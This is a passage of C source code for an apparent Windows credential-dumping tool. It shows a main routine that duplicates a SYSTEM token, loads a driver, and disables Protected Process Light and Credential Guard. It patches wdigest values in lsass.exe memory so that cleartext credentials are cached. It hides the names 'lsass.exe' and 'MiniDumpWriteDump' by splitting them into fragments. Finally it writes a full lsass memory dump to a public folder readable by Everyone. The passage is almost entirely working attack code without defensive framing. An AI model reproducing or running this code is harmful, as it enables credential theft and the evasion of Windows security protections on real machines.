    799             // The relative offset in the module is: (j - rawDataPointer) + virtualAddress
    800             patternOffset = (int)(j - textRawDataPointer) + textVirtualAddress;
    801             useLogonVal = fileBuffer[j + 2] | (fileBuffer[j + 3] << 8) | (fileBuffer[j + 4] << 16);
    802             credGuardVal = fileBuffer[j + 8] | (fileBuffer[j + 9] << 8) | (fileBuffer[j + 10] << 16);
    803             patternFound = 1;
    804             break;
    805         }
    806     }
    807     if (!patternFound) {
    808         fprintf(logfile, "[ERROR] Pattern not found in PE file.\n");
    809         return 1;
    810     }
    811 
    812     fprintf(logfile, "[*] patternOffset = %X - useLogonVal = %X - credGuardVal = %X\n", patternOffset, useLogonVal, credGuardVal);
    813 
    814     // Print the next 12 bytes from the pattern's file offset
    815     fprintf(logfile, "[*] Next 12 bytes after the pattern start:\n");
    816     for (int i = 0; i < 12; i++) {
    817         fprintf(logfile, "%02X ", fileBuffer[patternOffset + i]);
    818     }
    819     fprintf(logfile, "\n");
    820 
    821     free(fileBuffer);
    822 
    823 
    824     // Compute the final offsets in wdigest.dll
    825     DWORD useLogonCredentialOffset = useLogonVal + patternOffset + 6;
    826     DWORD credGuardOffset = credGuardVal + patternOffset + 12;
    827 
    828     // Create a snapshot of active processes
    829     LPWSTR processName = L"lsass.exe";
    830     HANDLE hLsass = NULL;
    831     DWORD pID;
    832 
    833     GetProcessHandle(processName, &hLsass, &pID);
    834 
    835 
    836     const char* moduleName = "wdigest.DLL";
    837     LPVOID wdigestBaseAddress = EnumerateModulesAndFindAddress(hLsass, moduleName);
    838 
    839     // Compute the actual addresses in lsass and patch the values
    840     LPVOID addrUseLogon = (LPVOID)((uintptr_t)wdigestBaseAddress + useLogonCredentialOffset);
    841     LPVOID addrCredGuard = (LPVOID)((uintptr_t)wdigestBaseAddress + credGuardOffset);
    842 
    843 
    844     fprintf(logfile, "[+] DLL Base Address: \t\t0x%llX\n", (unsigned long long)wdigestBaseAddress);
    845     fprintf(logfile, "[+] UseLogonCredential address:\t0x%llX (0x%llX + 0x%X)\n", (unsigned long long)addrUseLogon, (unsigned long long)wdigestBaseAddress, useLogonCredentialOffset);
    846     fprintf(logfile, "[+] IsCredGuardEnabled address:\t0x%llX (0x%llX + 0x%X)\n", (unsigned long long)addrCredGuard, (unsigned long long)wdigestBaseAddress, credGuardOffset);
    847 
    848     fprintf(logfile, "[*] addrUseLogon = %p - addrCredGuard = %p\n", addrUseLogon, addrCredGuard);
    849 
    850     char* ntdllPath = "C:\\Windows\\System32\\ntdll.dll";
    851     HANDLE hNtdll = LoadCleanDLL(ntdllPath);
    852 
    853     // Declare buffers for reading values
    854     BYTE useLogonCredential_buffer[4] = { 0 };
    855     BYTE isCredGuardEnabled_buffer[4] = { 0 };
    856     SIZE_T bytesRead = 0;
    857     ULONG bytesWritten = 0;
    858     DWORD newVal = 0;
    859     NTSTATUS status;
    860 
    861     typedef NTSTATUS(WINAPI* NtReadVirtualMemoryFn)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
    862     typedef NTSTATUS(WINAPI* NtWriteVirtualMemoryFn)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG BufferSize, PULONG NumberOfBytesWritten);
    863 
    864     NtReadVirtualMemoryFn NtReadVirtualMemory;
    865     NtWriteVirtualMemoryFn NtWriteVirtualMemory;
    866 
    867     NtReadVirtualMemory = (NtReadVirtualMemoryFn)GetProcAddress(hNtdll, "NtReadVirtualMemory");
    868     NtWriteVirtualMemory = (NtWriteVirtualMemoryFn)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    869 
    870     // Read and print current value for g_fParameter_UseLogonCredential using NtReadVirtualMemory
    871     NTSTATUS ntstatus = NtReadVirtualMemory(hLsass, addrUseLogon, useLogonCredential_buffer, sizeof(useLogonCredential_buffer), &bytesRead);
    872     if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hLsass != NULL) {
    873         fprintf(logfile, "[ERROR] NtReadVirtualMemory for useLogonCredential failed: 0x%08X\n", ntstatus);
    874     }
    875     else {
    876         fprintf(logfile, "[+] UseLogonCredential value: \t%02X %02X %02X %02X\n",
    877             useLogonCredential_buffer[0], useLogonCredential_buffer[1],
    878             useLogonCredential_buffer[2], useLogonCredential_buffer[3]);
    879     }
    880 
    881     // Read and print current value for g_IsCredGuardEnabled using NtReadVirtualMemory
    882     ntstatus = NtReadVirtualMemory(hLsass, addrCredGuard, isCredGuardEnabled_buffer, sizeof(isCredGuardEnabled_buffer), &bytesRead);
    883     if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hLsass != NULL) {
    884         fprintf(logfile, "[ERROR] NtReadVirtualMemory for isCredGuardEnabled failed: 0x%08X\n", ntstatus);
    885     }
    886     else {
    887         fprintf(logfile, "[+] isCredGuardEnabled value: \t%02X %02X %02X %02X\n",
    888             isCredGuardEnabled_buffer[0], isCredGuardEnabled_buffer[1],
    889             isCredGuardEnabled_buffer[2], isCredGuardEnabled_buffer[3]);
    890     }
    891 
    892     // Patch: Set new value for g_fParameter_UseLogonCredential (enable cleartext credential usage)
    893     newVal = 1;
    894     ntstatus = NtWriteVirtualMemory(hLsass, addrUseLogon, &newVal, sizeof(newVal), &bytesWritten);
    895     if (ntstatus != 0 && hLsass != NULL) {
    896         fprintf(logfile, "[ERROR] NtWriteVirtualMemory for useLogonCredential failed: 0x%08X\n", ntstatus);
    897         return 1;
    898     }
    899 
    900     // Read and print new value for g_fParameter_UseLogonCredential
    901     ntstatus = NtReadVirtualMemory(hLsass, addrUseLogon, useLogonCredential_buffer, sizeof(useLogonCredential_buffer), &bytesRead);
    902     if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hLsass != NULL) {
    903         fprintf(logfile, "[ERROR] NtReadVirtualMemory for useLogonCredential after write failed: 0x%08X\n", ntstatus);
    904     }
    905     else {
    906         fprintf(logfile, "[+] New useLogonCredential value: \t%02X %02X %02X %02X\n",
    907             useLogonCredential_buffer[0], useLogonCredential_buffer[1],
    908             useLogonCredential_buffer[2], useLogonCredential_buffer[3]);
    909     }
    910 
    911     // Patch: Set new value for g_IsCredGuardEnabled (disable Credential Guard)
    912     newVal = 0;
    913     ntstatus = NtWriteVirtualMemory(hLsass, addrCredGuard, &newVal, sizeof(newVal), &bytesWritten);
    914     if (ntstatus != 0 && hLsass != NULL) {
    915         fprintf(logfile, "[ERROR] NtWriteVirtualMemory for isCredGuardEnabled failed: 0x%08X\n", ntstatus);
    916         return 1;
    917     }
    918 
    919     // Read and print new value for g_IsCredGuardEnabled
    920     ntstatus = NtReadVirtualMemory(hLsass, addrCredGuard, isCredGuardEnabled_buffer, sizeof(isCredGuardEnabled_buffer), &bytesRead);
    921     if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hLsass != NULL) {
    922         fprintf(logfile, "[ERROR] NtReadVirtualMemory for isCredGuardEnabled after write failed: 0x%08X\n", ntstatus);
    923     }
    924     else {
    925         fprintf(logfile, "[+] New isCredGuardEnabled value: \t%02X %02X %02X %02X\n",
    926             isCredGuardEnabled_buffer[0], isCredGuardEnabled_buffer[1],
    927             isCredGuardEnabled_buffer[2], isCredGuardEnabled_buffer[3]);
    928     }
    929 
    930 
    931     CloseHandle(hLsass);
    932     fprintf(logfile, "[+] Patch successfully applied.\n");
    933     return 0;
    934 }
    935 
    936 // ==================================
    937 // main
    938 // ==================================
    939 
    940 int main(void)
    941 {
    942     // Logs
    943     logfile = fopen("C:\\Users\\Public\\log.txt", "a");
    944 
    945     // Initialize STARTUPINFO and PROCESS_INFORMATION structures.
    946     STARTUPINFOW si;
    947     PROCESS_INFORMATION pi;
    948     ZeroMemory(&si, sizeof(si));
    949     si.cb = sizeof(si);
    950     ZeroMemory(&pi, sizeof(pi));
    951 
    952     // Duplicate SYSTEM token
    953     HANDLE hSystemToken = NULL;
    954     if (!GetSystemTokenAndDuplicate(&hSystemToken)) {
    955         fprintf(logfile, "[!] Failed to duplicate SYSTEM token.\n");
    956         return 1;
    957     }
    958     fprintf(logfile, "[+] Successfully duplicated SYSTEM token.\n");
    959 
    960     EnableAllPrivileges(hSystemToken);
    961 
    962     // Impersonate SYSTEM token
    963     if (!ImpersonateLoggedOnUser(hSystemToken)) {
    964         fprintf(logfile, "[!] ImpersonateLoggedOnUser failed, error: %lu\n", GetLastError());
    965     }
    966     else {
    967         fprintf(logfile, "[+] Impersonation succeeded.\n");
    968     }
    969 
    970     if (!SetThreadToken(NULL, hSystemToken)) {
    971         fprintf(logfile, "[!] SetThreadToken failed, error: %lu\n", GetLastError());
    972     }
    973     else {
    974         fprintf(logfile, "[+] SetThreadToken succeeded. Current thread now uses SYSTEM token.\n");
    975     }
    976 
    977     // Load the DLLs kernel32.dll and ntdll.dll
    978     HMODULE hKernel32 = LoadLibraryA("kernel32.dll");
    979     if (!hKernel32) {
    980         fprintf(logfile, "Error loading kernel32.dll\n");
    981         return 1;
    982     }
    983     HMODULE hNtdll = LoadLibraryA("ntdll.dll");
    984     if (!hNtdll) {
    985         fprintf(logfile, "Error loading ntdll.dll\n");
    986         return 1;
    987     }
    988     HANDLE hDbghelp = LoadCleanDLL("dbghelp.dll");
    989     if (!hDbghelp) {
    990         fprintf(logfile, "Error loading ntdll.dll\n");
    991         return 1;
    992     }
    993 
    994     // Start the driver
    995     LoadAndStartDriver();
    996 
    997     // Disable PPL
    998     disablePPL();
    999 
   1000     // Disable Credential Guard
   1001     disableCG();
   1002 
   1003     // Build the target process name: "lsass.exe"
   1004     wchar_t part1[] = L"ls";
   1005     wchar_t part2[] = L"ass";
   1006     wchar_t part3[] = L".ex";
   1007     wchar_t part4[] = L"e";
   1008     char targetProcessName[50] = { 0 };
   1009     swprintf(targetProcessName, "%s%s%s%s", part1, part2, part3, part4);
   1010 
   1011     DWORD targetPID = 0;
   1012 
   1013     // Create a snapshot of active processes
   1014     HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
   1015     if (hSnapshot == INVALID_HANDLE_VALUE)
   1016     {
   1017         fprintf(logfile, "Unable to create process snapshot.\n");
   1018         return 1;
   1019     }
   1020 
   1021     PROCESSENTRY32 pe;
   1022     pe.dwSize = sizeof(PROCESSENTRY32);
   1023     if (Process32First(hSnapshot, &pe))
   1024     {
   1025         do
   1026         {
   1027             if (_stricmp(pe.szExeFile, targetProcessName) == 0)
   1028             {
   1029                 targetPID = pe.th32ProcessID;
   1030                 break;
   1031             }
   1032         } while (Process32Next(hSnapshot, &pe));
   1033     }
   1034     CloseHandle(hSnapshot);
   1035 
   1036     if (targetPID == 0)
   1037     {
   1038         fprintf(logfile, "Target process not found.\n");
   1039         return 1;
   1040     }
   1041 
   1042     // Open the target process with full access (requires elevation)
   1043     HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
   1044     if (!hProcess)
   1045     {
   1046         fprintf(logfile, "Unable to open target process (PID: %lu).\n", targetPID);
   1047         return 1;
   1048     }
   1049 
   1050     // Define the dump file path
   1051     const char* dumpFilePath = "C:\\Users\\Public\\ssasl.dmp";
   1052 
   1053     // Create the dump file
   1054     HANDLE hFile = CreateFileA(dumpFilePath,
   1055         GENERIC_WRITE,
   1056         0,
   1057         NULL,
   1058         CREATE_ALWAYS,
   1059         FILE_ATTRIBUTE_NORMAL,
   1060         NULL);
   1061     if (hFile == INVALID_HANDLE_VALUE)
   1062     {
   1063         fprintf(logfile, "Unable to create dump file.\n");
   1064         CloseHandle(hProcess);
   1065         return 1;
   1066     }
   1067 
   1068     // Build the function name: "MiniDumpWriteDump"
   1069     char mdPart1[] = "Mini";
   1070     char mdPart2[] = "Dump";
   1071     char mdPart3[] = "Write";
   1072     char mdPart4[] = "Dump";
   1073     char miniFuncName[100] = { 0 };
   1074     sprintf(miniFuncName, "%s%s%s%s", mdPart1, mdPart2, mdPart3, mdPart4);
   1075 
   1076     PFN_MDWD pMiniDumpWriteDump = (PFN_MDWD)GetProcAddress(hDbghelp, miniFuncName);
   1077     if (!pMiniDumpWriteDump)
   1078     {
   1079         fprintf(logfile, "Unable to retrieve MiniDumpWriteDump address.\n");
   1080         FreeLibrary(hDbghelp);
   1081         CloseHandle(hFile);
   1082         CloseHandle(hProcess);
   1083         return 1;
   1084     }
   1085 
   1086     // Dump the target process
   1087     BOOL dumped = pMiniDumpWriteDump(
   1088         hProcess,               // Handle to target process
   1089         targetPID,              // Process ID
   1090         hFile,                  // Handle to file
   1091         MiniDumpWithFullMemory, // Dump type
   1092         NULL,                   // Exception parameter
   1093         NULL,                   // User stream parameter
   1094         NULL                    // Callback parameter
   1095     );
   1096 
   1097     if (dumped)
   1098     {
   1099         fprintf(logfile, "[+] Dump completed.\n");
   1100     }
   1101     else
   1102     {
   1103         fprintf(logfile, "[!] Dump failed. Error code: %lu\n", GetLastError());
   1104     }
   1105 
   1106     // Clean up resources before modifying file permissions
   1107     FreeLibrary(hDbghelp);
   1108     CloseHandle(hFile);
   1109     CloseHandle(hProcess);
   1110 
   1111     // Set file permissions to grant GENERIC_READ to Everyone
   1112     DWORD dwRes;
   1113     EXPLICIT_ACCESS ea;
   1114     PACL pNewDACL = NULL;
   1115 
   1116     ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
   1117     ea.grfAccessPermissions = GENERIC_READ;
   1118     ea.grfAccessMode = SET_ACCESS;
   1119     ea.grfInheritance = NO_INHERITANCE;
   1120     ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
   1121     ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
   1122     ea.Trustee.ptstrName = L"Everyone";
   1123 
   1124     dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDACL);
   1125     if (dwRes != ERROR_SUCCESS)
   1126     {
   1127         fprintf(logfile, "Failed to set entries in ACL. Error: %lu\n", dwRes);
   1128     }
   1129     else
   1130     {
   1131         dwRes = SetNamedSecurityInfoA(
   1132             (LPSTR)dumpFilePath,
   1133             SE_FILE_OBJECT,
   1134             DACL_SECURITY_INFORMATION,
   1135             NULL,
   1136             NULL,
   1137             pNewDACL,
   1138             NULL);
   1139         if (dwRes != ERROR_SUCCESS)
   1140         {
   1141             fprintf(logfile, "Failed to set security info. Error: %lu\n", dwRes);
   1142         }
   1143     }
   1144     if (pNewDACL)
   1145         LocalFree(pNewDACL);
   1146 
   1147     // Unload the driver
   1148     StopAndUnloadDriver(DRIVER_NAME);
   1149 
   1150     fclose(logfile);
   1151 
   1152     return 0;
   1153 }